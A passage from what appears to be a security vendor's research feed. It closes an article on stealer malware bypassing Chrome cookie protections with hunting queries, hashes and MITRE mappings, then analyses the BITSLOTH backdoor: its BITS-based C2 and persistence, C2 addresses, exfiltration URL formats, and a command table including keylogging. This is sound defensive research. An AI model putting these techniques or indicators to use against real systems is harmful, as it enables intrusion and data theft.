<pre><code class="language-sql">FROM logs-system.security-default* | where event.code == &quot;4663&quot; and winlog.event_data.ObjectName == &quot;\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}&quot; and not winlog.event_data.ProcessName in (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;, &quot;C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe&quot;) and not winlog.event_data.ProcessName like &quot;C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe&quot; | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below is an example of matches on the METASTEALER malware while calling <code>CoCreateInstance (CLSID_Elevator)</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image39.png" alt="ES|QL query results for suspicious access to chrome elevation service registry" /></p>
<p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">PHEMEDRONE</a> stealer uses the <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">known</a> browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port <code>9222</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image33.png" alt="PHEMEDRONE - network connection to chrome over port 9222" /></p>
<p>The following EQL query can be used to look for unusual processes performing similar behavior:</p>
<pre><code class="language-sql">sequence by host.id, destination.port with maxspan=5s
[network where event.action == &quot;disconnect_received&quot; and
 network.direction == &quot;ingress&quot; and
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and
 source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
[network where event.action == &quot;disconnect_received&quot; and network.direction == &quot;egress&quot; and not
 process.executable in~ (&quot;C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe&quot;,
&quot;C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe&quot;) and source.address like &quot;127.*&quot; and destination.address like &quot;127.*&quot;]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image1.png" alt="EQL query results for browser debugging activity" /></p>
<h2>Chrome Browser Spawned from an Unusual Parent</h2>
<p>The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.process-*
| where event.category == &quot;process&quot; and event.type == &quot;start&quot; and to_lower(process.name) == &quot;chrome.exe&quot; and process.command_line like  &quot;*--profile-directory=Default*&quot;
| eval process_parent_path = replace(to_lower(process.parent.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image18.png" alt="ES|QL query results for chrome browser spawned from an unusual parent" /></p>
<h2>Untrusted Binaries from Chrome Application folder</h2>
<p>Since the Chrome elevation service <a href="https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56">trusts</a> binaries running from the Chrome <code>program files</code> folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:</p>
<h3>Unsigned DLLs loaded from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.library*
| where event.category == &quot;library&quot; and event.action == &quot;load&quot; and to_lower(dll.path) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<h3>Unsigned executable launched from google chrome application folder</h3>
<pre><code class="language-sql">FROM logs-endpoint.events.process*
| where event.category == &quot;library&quot; and event.type == &quot;start&quot; and (to_lower(process.executable) like &quot;c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot; or to_lower(process.executable) like &quot;c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*&quot;)
and not (process.code_signature.trusted == true and process.code_signature.subject_name == &quot;Goole LLC&quot;)
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image6.png" alt="ES|QL query results for malicious DLL loaded by Chrome" /></p>
<h1>Conclusion</h1>
<p>Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.</p>
<p>Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.</p>
<h2>Stealer Bypasses and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1559/001/">Inter-Process Communication: Component Object Model</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows.Trojan.Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar">Windows.Infostealer.PhemedroneStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows.Trojan.MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar">Windows.Trojan.Xeno</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar">Windows.Trojan.Lumma</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar">Windows.Infostealer.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d</td>
<td>SHA-256</td>
<td>num.exe</td>
<td>STEALC</td>
</tr>
<tr>
<td>08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37</td>
<td>SHA-256</td>
<td>HardCoreCrack.exe</td>
<td>PHEMEDRONE</td>
</tr>
<tr>
<td>43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d</td>
<td>SHA-256</td>
<td>Ranginess.exe</td>
<td>METASTEALER</td>
</tr>
<tr>
<td>84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176</td>
<td>SHA-256</td>
<td></td>
<td>LUMMA</td>
</tr>
<tr>
<td>b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b</td>
<td>SHA-256</td>
<td>XenoStealer.exe</td>
<td>XENOSTEALER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://developer.chrome.com/release-notes/127">https://developer.chrome.com/release-notes/127</a></li>
<li><a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor]]></title>
            <link>https://www.elastic.co/pt/security-labs/bits-and-bytes-analyzing-bitsloth</link>
            <guid>bits-and-bytes-analyzing-bitsloth</guid>
            <pubDate>Thu, 01 Aug 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs identified a novel Windows backdoor leveraging the Background Intelligent Transfer Service (BITS) for C2. This malware was found during a recent activity group tracked as REF8747.]]></description>
            <content:encoded><![CDATA[<h2>BITSLOTH at a glance</h2>
<p>BITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.</p>
<p>The most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.</p>
<h3>Key takeaways</h3>
<ul>
<li>BITSLOTH is a newly discovered Windows backdoor</li>
<li>BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication</li>
<li>BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes</li>
<li>The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers</li>
</ul>
<h2>Discovery</h2>
<p>Our team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.</p>
<ul>
<li><a href="https://github.com/T4y1oR/RingQ">RINGQ</a></li>
<li><a href="https://github.com/EddieIvan01/iox">IOX</a></li>
<li><a href="https://github.com/ph4ntonn/Stowaway">STOWAWAY</a></li>
<li><a href="https://github.com/BeichenDream/GodPotato">GODPOTATO</a></li>
<li><a href="https://github.com/Ridter/noPac">NOPAC</a></li>
<li><a href="https://github.com/gentilkiwi/mimikatz">MIMIKATZ</a></li>
<li><a href="https://github.com/gabriellandau/PPLFault">PPLFAULT</a></li>
<li><a href="https://github.com/GhostPack/Certify">CERTIFY</a></li>
</ul>
<p>One of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image21.png" alt="Screenshot of RingQ demo" /></p>
<p>We observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of “whoami”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image13.png" alt="RINGQ loading and executing IOX" /></p>
<p>Additionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image19.png" alt="STOWAWAY proxy usage" /></p>
<p>After initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (<code>flengine.dll</code>) inside the ProgramData directory. The actor then executed the music-making program FL Studio (<code>fl.exe</code>). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of <a href="https://www.virustotal.com/gui/file/75747c8b5b3676abde25a8dd66280908c0d0fc57ef054b88a41673619d3bee28/details">FL Studio</a>.</p>
<pre><code>  c:\windows\syswow64\ntdll.dll!0x770841AC
  c:\windows\syswow64\ntdll.dll!0x7709D287
  c:\windows\syswow64\kernelbase.dll!0x76ED435F
  c:\windows\syswow64\kernelbase.dll!0x76ED42EF
  Unbacked!0x14EAB23
  Unbacked!0x14EA8B6
  c:\programdata\pl studio\flengine.dll!0x74AD2F2E
  c:\programdata\pl studio\fl.exe!0xDB3985
  c:\programdata\pl studio\fl.exe!0xDB3E5E
  c:\programdata\pl studio\fl.exe!0xDB4D3F
  c:\windows\syswow64\kernel32.dll!0x76B267F9
  c:\windows\syswow64\ntdll.dll!0x77077F4D
  c:\windows\syswow64\ntdll.dll!0x77077F1B
</code></pre>
<p>This call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.</p>
<h4>BITSLOTH overview</h4>
<p>During our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology– referring to BITSLOTH as the <code>Slaver</code> component and the command and control server as the <code>Master</code> component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image7.png" alt="PDB linked to BITSLOTH sample" /></p>
<p>BITSLOTH employs no obfuscation around control flow or any kind of string encryption.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image9.png" alt="BITSLOTH strings" /></p>
<p>Both older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (<code>.rdata</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image24.png" alt="Debugging" /></p>
<p>This Simplified Chinese wide-character string translates to:
<code>Note: There is already a program running, do not run it again…</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image29.png" alt="String left by developer" /></p>
<p>These small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as <a href="https://www.elastic.co/pt/security-labs/introducing-the-ref5961-intrusion-set">EAGERBEE</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image27.png" alt="BITSLOTH scheduling component" /></p>
<h2>BITSLOTH code analysis</h2>
<p>BITSLOTH is a backdoor with many different capabilities including:</p>
<ul>
<li>Running and executing commands</li>
<li>Uploading and downloading files</li>
<li>Performing enumeration and discovery</li>
<li>Collecting sensitive data through keylogging and screen capturing</li>
</ul>
<h3>Mutex</h3>
<p>BITSLOTH uses a hard-coded mutex (<code>Global\d5ffff77ff77adad657658</code>) within each sample to ensure only one instance is running at a time.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image6.png" alt="Mutex used by BITSLOTH" /></p>
<h3>Communication</h3>
<p>BITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the <code>Slaver</code> component and the command and control server (C2) as the <code>Master</code> component. The developer embeds the IP/port of the C2 server in each sample with a front-loaded string (<code>rrrr_url</code>). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.</p>
<p>Below are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.</p>
<pre><code>rrrr_url216.238.121[.]132:8443
rrrr_url192.168.1[.]125:8443 
rrrr_url192.168.1[.]124:8443
rrrr_url45.116.13[.]178:443
</code></pre>
<p>One of the defining features of BITSLOTH is using the <a href="https://learn.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal">Background Intelligent Transfer Service</a> (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it’s been <a href="https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/">abused</a> by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.</p>
<blockquote>
<p>Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.</p>
</blockquote>
<p>The BITS API is exposed through Window’s <a href="https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal">Component Object Model</a> (COM) using the <strong>IBackgroundCopyManager</strong> <a href="https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager">interface</a>. This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image12.png" alt="Initializing IBackgroundCopyManager interface" /></p>
<p>After initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:</p>
<ul>
<li><code>WU Client Download</code></li>
<li><code>WU Client Upload</code></li>
<li><code>WU Client Upload R</code></li>
</ul>
<p>These names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS <a href="https://learn.microsoft.com/en-us/windows/win32/api/bits/ne-bits-bg_job_type">job type</a>. By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image17.png" alt="Switch statement inside BITSLOTH to process BITS job" /></p>
<p>Below are the Microsoft definitions matching the type of BITS job:</p>
<ul>
<li><strong>BG_JOB_TYPE_DOWNLOAD</strong> - Specifies that the job downloads files to the client.</li>
<li><strong>BG_JOB_TYPE_UPLOAD</strong> - Specifies that the job uploads a file to the server.</li>
<li><strong>BG_JOB_TYPE_UPLOAD_REPLY</strong> - Specifies that the job uploads a file to the server, and receives a reply file from the server application.</li>
</ul>
<p>After canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (<code>Microsoft Windows</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image18.png" alt="BITS job creation for auto-start functionality" /></p>
<p>This download job sets the destination URL to <code>http://updater.microsoft[.]com/index.aspx</code>. While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses <strong>SetNotifyCmdLine</strong> to execute the malware when the transfer state is changed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image28.png" alt="Setting up BITS persistence via SetNotifyCmdLine" /></p>
<p>Interestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image4.png" alt="VirusTotal relationships from embedded Microsoft URL" /></p>
<p>At this point, the malware has now been configured with persistence via a BITS job named <code>Microsoft Windows</code>. Below is a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location (<code>C:\ProgramData\Media\setup_wm.exe</code>)</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image33.png" alt="BITSLOTH persistence job" /></p>
<p>Once BITSLOTH becomes active, it will start requesting instructions from the C2 server using the <code>WU Client Download</code> job. This request URL is generated by combining the MAC address with a hard-coded string (<code>wu.htm</code>). Below is an example URL:</p>
<pre><code>https://192.168.182.130/00-0C-29-0E-29-87/wu.htm
</code></pre>
<p>In response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (<code>wm</code>) appended by random characters.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image25.png" alt="Data exchange through temporary files" /></p>
<h3>Command functionality</h3>
<p>BITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (<code>0x2</code>) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext.</p>
<p>In order to move fast, our team leveraged a helpful Python <a href="https://github.com/SafeBreach-Labs/SimpleBITSServer">implementation</a> of a BITS server released by <a href="https://www.safebreach.com/">SafeBreach Labs</a>. By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image2.png" alt="BITSLOTH command handler" /></p>
<p>The handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called <code>WU Client Upload</code>. Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as <code>P.bin</code> for processes or <code>S.bin</code> for services.</p>
<pre><code>http://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin
</code></pre>
<p>Below is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image31.png" alt="BITSLOTH handler for running processes" /></p>
<p>This link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (<code>wm9F0C.tmp</code>) linked to the job.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image15.png" alt="BITS upload job configuration" /></p>
<p>If we look at the temporary file, we can see the collected process information from the victim host.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image26.png" alt="Contents of temporary file holding exfiltrated data" /></p>
<p>Soon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image22.png" alt="Outbound BITS_POST request" /></p>
<h3>Command handling table</h3>
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Collect running processes via <strong>WTSEnumerateProcessesW</strong></td>
</tr>
<tr>
<td>1</td>
<td>Get Windows services via <strong>EnumServicesStatusW</strong></td>
</tr>
<tr>
<td>2</td>
<td>Get system information via <code>systeminfo</code> command</td>
</tr>
<tr>
<td>3</td>
<td>Retrieve all top-level Windows via <strong>EnumWindows</strong></td>
</tr>
<tr>
<td>5</td>
<td>Collect file listings</td>
</tr>
<tr>
<td>6</td>
<td>Download file from C2 server</td>
</tr>
<tr>
<td>7</td>
<td>Upload file to C2 server</td>
</tr>
<tr>
<td>10</td>
<td>Terminate itself</td>
</tr>
<tr>
<td>11</td>
<td>Set communication mode to HTTPS</td>
</tr>
<tr>
<td>12</td>
<td>Set communication mode to HTTP</td>
</tr>
<tr>
<td>13</td>
<td>Remove persistence</td>
</tr>
<tr>
<td>14</td>
<td>Reconfigure persistence</td>
</tr>
<tr>
<td>15</td>
<td>Cancel BITS download job (<code>WU Client Download</code>)</td>
</tr>
<tr>
<td>16</td>
<td>Remove persistence and delete itself</td>
</tr>
<tr>
<td>17</td>
<td>Thread configuration</td>
</tr>
<tr>
<td>18</td>
<td>Duplicate of handler #2</td>
</tr>
<tr>
<td>19</td>
<td>Delete file based on file path</td>
</tr>
<tr>
<td>20</td>
<td>Delete folder based on file path</td>
</tr>
<tr>
<td>21</td>
<td>Starts terminal shell using stdin/stdout redirection</td>
</tr>
<tr>
<td>22</td>
<td>Resets terminal handler (#21)</td>
</tr>
<tr>
<td>23</td>
<td>Runs Windows tree command</td>
</tr>
<tr>
<td>24</td>
<td>Updates BITSLOTH, delete old version</td>
</tr>
<tr>
<td>25</td>
<td>Shutdown the machine via <strong>ExitWindowsEx</strong></td>
</tr>
<tr>
<td>26</td>
<td>Reboot the machine via <strong>ExitWindowsEx</strong></td>
</tr>
<tr>
<td>27</td>
<td>Log user off from the machine via <strong>ExitWindowsEx</strong></td>
</tr>
<tr>
<td>28</td>
<td>Terminate process based on process identifier (PID)</td>
</tr>
<tr>
<td>29</td>
<td>Retrieves additional information via <code>msinfo32</code> command</td>
</tr>
<tr>
<td>30</td>
<td>Execute individual file via <strong>ShellExecuteW</strong></td>
</tr>
<tr>
<td>34</td>
<td>Create new directory via <strong>CreateDirectoryW</strong></td>
</tr>
<tr>
<td>41</td>
<td>Upload data to C2 server</td>
</tr>
<tr>
<td>42</td>
<td>Checks for capture driver via <strong>capGetDriverDescriptionW</strong></td>
</tr>
<tr>
<td>43</td>
<td>Take screenshots of victim machine desktop</td>
</tr>
<tr>
<td>44</td>
<td>Record keystrokes from victim machine</td>
</tr>
<tr>
<td>45</td>
<td>Stop recording screenshot images</td>
</tr>
<tr>
<td>46</td>
<td>Stop keylogger functionality</td>
</tr>
</tbody>
</table>
<h3>Backdoor functionality</h3>
<p>BITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.</p>
<h4>Discovery/enumeration</h4>
<p>A portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:</p>
<ul>
<li>Retrieving process information via <strong>WTSEnumerateProcessesW</strong></li>
<li>Collecting Windows services via <strong>EnumServicesStatusW</strong></li>
<li>Enumerating all top-level Windows via <strong>EnumWindows</strong> with a callback function</li>
<li>Retrieving system information via windows utilities such as <code>systeminfo</code> and <code>msinfo32</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image14.png" alt="BITSLOTH handler used to collect system information" /></p>
<p>In many of the handlers, the locale version is configured to <code>chs </code>(Chinese - Simplified).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image16.png" alt="Retrieve Windows information" /></p>
<p>BITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:</p>
<ul>
<li><strong>GET_DESKDOP</strong> → <strong>CSIDL_DESKTOPDIRECTORY</strong> (Desktop)</li>
<li><strong>GET_BITBUCKET</strong> -&gt; <strong>CSIDL_BITBUCKET</strong> (Recycle Bin)</li>
<li><strong>GET_PERSONAl</strong> -&gt; <strong>CSIDL_MYDOCUMENTS</strong> (My Documents)</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image10.png" alt="File listing parameters via BITSLOTH" /></p>
<p>BITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree">tree</a> utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named <code>aghzyxklg</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image1.png" alt="Tree listing via BITSLOTH" /></p>
<p>The tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image5.png" alt="Example of data collected through GetDirectoryTree handler" /></p>
<h4>Collection</h4>
<p>In terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.</p>
<p>BITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (<strong>capGetDriverDescriptionW</strong>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bits-and-bytes-analyzing-bitsloth/image30.png" alt="Handler that records capture devices" /></p>
<p>BITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (<code>||</code>) where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name <code>ciakfjoab</code> and compressed with the DEFLATE algorithm using a <code>.ZIP</code> archive. These timestamped zipped archives are then sent out to the C2 server.</p>
